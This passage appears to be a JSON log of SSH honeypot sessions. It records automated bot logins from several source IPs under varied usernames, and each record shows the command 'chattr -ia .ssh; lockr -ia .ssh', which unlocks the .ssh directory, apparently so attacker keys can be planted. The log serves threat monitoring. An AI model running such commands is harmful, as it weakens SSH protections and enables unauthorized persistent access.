[ { "id": "22cc1660-be2b-455a-b982-c6b5b70e2261", "name": "arctic-bashful-gull", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 52550, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 825, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:10:39.045870+00:00", "ended_at": "2026-08-27T14:10:39.311875+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2275 }, { "id": "36eb2f83-d720-4fbf-88e8-b2b2bb86d121", "name": "barren-twilight-francolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 44744, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 337, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:05:39.875588+00:00", "ended_at": "2026-08-27T14:05:41.771555+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2184 }, { "id": "0df1f6c7-9098-4009-9dbe-b63024e6c927", "name": "crimson-crisp-lapwing", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 36516, "username": "mailuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 830, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:05:31.611089+00:00", "ended_at": "2026-08-27T14:05:33.842343+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2193 }, { "id": "523fdf1f-cd18-4578-bb06-808128e94259", "name": "dutiful-crystal-lark", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 53042, "username": "steam", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 360, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:04:09.869400+00:00", "ended_at": "2026-08-27T14:04:11.405987+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2160 }, { "id": "948ef0ae-b1a8-469a-a716-6947083055e0", "name": "hidden-courtly-redstart", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 40586, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 829, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:03:41.618952+00:00", "ended_at": "2026-08-27T14:03:44.018826+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2170 }, { "id": "f1c9ad32-fb86-4909-9414-08f61e3f05cf", "name": "gnarled-airy-addax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 46340, "username": "it", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 419, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:02:44.546918+00:00", "ended_at": "2026-08-27T14:02:45.955061+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2142 }, { "id": "03e09488-6fbd-4a58-a7e6-9d802ca8d780", "name": "gloomy-weathered-chough", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 44650, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 834, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:01:51.154232+00:00", "ended_at": "2026-08-27T14:01:53.311292+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2216 }, { "id": "db998d05-b649-442a-afe5-6fae9b692980", "name": "dewy-amber-condor", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 54580, "username": "zjsf", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 336, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T14:01:07.505547+00:00", "ended_at": "2026-08-27T14:01:08.951013+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2137 }, { "id": "f76a8500-8dba-481b-bb0e-ddca5478f49a", "name": "arctic-painted-fieldfare", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 48716, "username": "aswin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 840, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:59:57.516556+00:00", "ended_at": "2026-08-27T13:59:58.701587+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2151 }, { "id": "02d94f97-51a7-477a-b442-27cb5437ccb7", "name": "mossy-electric-muntjac", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 38488, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 347, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:59:37.357704+00:00", "ended_at": "2026-08-27T13:59:39.371099+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2183 }, { "id": "92f79bfd-6af6-423b-ae4a-edc12c4026b0", "name": "barren-salty-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 49358, "username": "oracle", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 376, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:58:11.390937+00:00", "ended_at": "2026-08-27T13:58:13.191461+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2121 }, { "id": "0c54333f-71e9-44e8-ab7d-a8d2058fe802", "name": "forlorn-prairie-teal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 52786, "username": "abcd", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 831, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:58:04.604391+00:00", "ended_at": "2026-08-27T13:58:06.394056+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2135 }, { "id": "8cb3b0fa-51f7-4c83-b350-c42fa84f4ada", "name": "alpine-weathered-parakeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 36360, "username": "myuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 364, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:56:43.301357+00:00", "ended_at": "2026-08-27T13:56:44.588020+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2098 }, { "id": "d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844", "name": "hazel-slender-ermine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 56854, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 831, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:56:20.487122+00:00", "ended_at": "2026-08-27T13:56:22.536239+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2183 }, { "id": "bd28fa80-f266-4e39-ad73-4ddea68a43ff", "name": "lively-burly-greenfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 50760, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 480, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:55:13.593247+00:00", "ended_at": "2026-08-27T13:55:15.678836+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "289fedf4-e58f-44be-a953-c770c571fd79", "name": "arctic-granite-raven", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 60932, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 833, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:54:33.403866+00:00", "ended_at": "2026-08-27T13:54:35.119495+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2129 }, { "id": "b8066e45-449f-459c-84fe-f63d50fc71c0", "name": "daring-dewy-lynx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 37456, "username": "eva", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 350, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:53:37.878606+00:00", "ended_at": "2026-08-27T13:53:39.794676+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2075 }, { "id": "417dfc62-0fd9-43c9-a4f8-92cd41f9e472", "name": "brisk-wry-kingfisher", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 36774, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 839, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:52:51.857775+00:00", "ended_at": "2026-08-27T13:52:54.106539+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2161 }, { "id": "d35905db-dc88-46cb-bf64-12db1386a69a", "name": "loyal-jaunty-wallaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 54154, "username": "terraria", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 343, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:52:14.024949+00:00", "ended_at": "2026-08-27T13:52:14.976452+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2077 }, { "id": "4e0ea59e-fb0d-4c7f-b6f3-6e1706d64a1e", "name": "plush-fickle-wombat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 40842, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 836, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:50:56.424213+00:00", "ended_at": "2026-08-27T13:50:58.096000+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "512689b9-0866-4622-8b74-f092570cdfcd", "name": "faded-nimble-turnstone", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 60362, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 339, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:49:19.683670+00:00", "ended_at": "2026-08-27T13:49:21.107205+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2117 }, { "id": "0a096a81-70b7-4de7-9ece-55164067846e", "name": "pristine-ashen-hornbill", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 44912, "username": "user10", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 830, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:49:09.457236+00:00", "ended_at": "2026-08-27T13:49:11.898519+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2082 }, { "id": "fd0e2781-f91d-49c5-812e-65104e405e6f", "name": "barren-vaulted-cardinal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 44270, "username": "jason", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 484, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:47:42.693713+00:00", "ended_at": "2026-08-27T13:47:43.374431+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2050 }, { "id": "4f0679fd-0de7-4821-8a97-c666f6559bf6", "name": "placid-smooth-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 48974, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 833, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:47:13.006250+00:00", "ended_at": "2026-08-27T13:47:14.698382+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2128 }, { "id": "c1d61d73-1b49-4235-b367-8e10e936e78b", "name": "fringed-granite-flamingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.249.166.171", "src_port": 55924, "username": "sammy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 449, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:46:10.305836+00:00", "ended_at": "2026-08-27T13:46:11.078524+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2047 }, { "id": "be430fc9-3418-4120-a9a2-95dfd66d578f", "name": "glassy-languid-raven", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 53042, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 837, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:45:26.904360+00:00", "ended_at": "2026-08-27T13:45:28.490199+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2117 }, { "id": "5449c50b-b2d5-4e74-8999-89b428743c96", "name": "sunlit-creaky-penguin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 57110, "username": "halo", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 834, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:43:34.225939+00:00", "ended_at": "2026-08-27T13:43:35.031718+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2049 }, { "id": "ce849b76-8909-425b-80e9-5b5c62f84f83", "name": "brisk-stormy-alpaca", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.4.145.50", "src_port": 37034, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 827, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:40:15.293996+00:00", "ended_at": "2026-08-27T13:40:16.146140+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "1276b334-d8f4-44cb-8043-67c41dc46e0b", "name": "courtly-languid-tapir", "protocol": "ssh", "channel_kind": "exec", "src_ip": "164.92.161.148", "src_port": 53940, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 314, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:38:14.619040+00:00", "ended_at": "2026-08-27T13:38:15.269839+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2046 }, { "id": "af3b7aec-5a42-4c47-88a7-02d439e8fa22", "name": "watchful-nimble-gannet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 49038, "username": "vpnuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 794, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:11:34.264080+00:00", "ended_at": "2026-08-27T13:11:35.054224+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "f00c17a5-4d18-4688-b503-11db1633996b", "name": "woven-fabled-polecat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 57484, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:10:07.280852+00:00", "ended_at": "2026-08-27T13:10:08.428732+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "e5fce962-9da0-4f2e-821c-7189ba7b8c1c", "name": "bronzed-vigilant-caribou", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 45808, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 319, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:08:36.969894+00:00", "ended_at": "2026-08-27T13:08:38.478631+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "eff6efd8-4e18-42b1-a81a-2b11487826dd", "name": "wry-sullen-marmot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 46524, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 734, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:08:34.534956+00:00", "ended_at": "2026-08-27T13:08:35.347484+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "a51727bf-109c-4e8a-a6ec-da8fe12737a8", "name": "creaky-brave-wombat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 42762, "username": "ardi", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:08:00.808131+00:00", "ended_at": "2026-08-27T13:08:02.709755+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "e2827558-c0bf-403f-887a-ceed52b5ac6e", "name": "ashen-autumn-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 52626, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:06:37.211124+00:00", "ended_at": "2026-08-27T13:06:39.140279+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "98f7846c-2b00-4d02-911d-880d43d131a8", "name": "early-salty-marmot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 43030, "username": "pivpn", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:06:02.636910+00:00", "ended_at": "2026-08-27T13:06:04.735285+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "459198e0-3ad0-4842-ac57-15bd9617cee7", "name": "alpine-mindful-meerkat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 39800, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 298, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:04:33.784479+00:00", "ended_at": "2026-08-27T13:04:35.010501+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "5a3174d7-8e96-4b90-aa2a-2e5a18678ffd", "name": "gilded-gnarled-starling", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 47522, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:04:05.419096+00:00", "ended_at": "2026-08-27T13:04:06.597421+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "047a388a-5b15-466e-8856-1472d37c2eed", "name": "ginger-fearless-stonechat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 60034, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 438, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:04:04.740416+00:00", "ended_at": "2026-08-27T13:04:05.848593+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "0f682362-d5e7-4e59-b4bd-42fd12ad9a28", "name": "orderly-mighty-blackbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 59570, "username": "kd", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 298, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:02:26.363338+00:00", "ended_at": "2026-08-27T13:02:28.596587+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "b2ada6f7-2f54-4666-b63f-64729d310e48", "name": "amber-seaward-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 47530, "username": "suraj", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:02:03.274397+00:00", "ended_at": "2026-08-27T13:02:04.383362+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "1a44aa23-34f2-4ab5-aab8-45dbfbbaff84", "name": "ancient-sullen-stoat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 60000, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 446, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:01:22.570271+00:00", "ended_at": "2026-08-27T13:01:24.019166+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "1299ead7-4c8d-4d6e-b457-56d7f39f78da", "name": "faded-upland-hornbill", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 34556, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:00:24.397509+00:00", "ended_at": "2026-08-27T13:00:26.219203+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "a5fda80f-7664-41f9-a4b0-921f3cd98379", "name": "russet-mindful-stork", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 45620, "username": "admin1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T13:00:00.983466+00:00", "ended_at": "2026-08-27T13:00:02.535592+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2261 }, { "id": "391361d1-85c4-4163-a3bc-009c9a036642", "name": "craggy-burly-dormouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 39936, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1116, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:59:43.655151+00:00", "ended_at": "2026-08-27T12:59:44.427483+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2332 }, { "id": "fa311760-9d13-49dd-9e08-b5906e2ba25d", "name": "balmy-scarlet-koala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59974, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 458, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:58:39.450022+00:00", "ended_at": "2026-08-27T12:58:40.512283+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "b81903e5-027f-4f03-b5d6-2907a4608d6e", "name": "brazen-prairie-dipper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 34350, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:58:17.091596+00:00", "ended_at": "2026-08-27T12:58:18.000857+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "f5766448-702a-4f7c-9da4-fc116ddb10dc", "name": "deft-civil-numbat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 56116, "username": "camera", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:57:58.327929+00:00", "ended_at": "2026-08-27T12:57:59.404784+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "e60ce5f5-6dbd-4313-b46a-5991c59310f8", "name": "sandy-smooth-nightjar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 42206, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 742, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:56:32.739534+00:00", "ended_at": "2026-08-27T12:56:33.501179+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "c6813f20-da54-43e4-8628-5456f230fb6c", "name": "meadow-thrifty-lynx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 44592, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:56:13.484738+00:00", "ended_at": "2026-08-27T12:56:14.446308+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "dbd209f5-dc7b-4904-92d7-6615076b6410", "name": "alpine-patient-lynx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 53752, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:56:01.232088+00:00", "ended_at": "2026-08-27T12:56:03.197873+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "4a14eff5-6cc0-41d5-9fc0-4fa9df943ae4", "name": "gallant-coral-goose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59934, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 450, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:55:54.249532+00:00", "ended_at": "2026-08-27T12:55:55.305917+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "77fe352d-ca94-40a2-91d5-880dded9378e", "name": "oaken-curious-sable", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 43992, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 299, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia 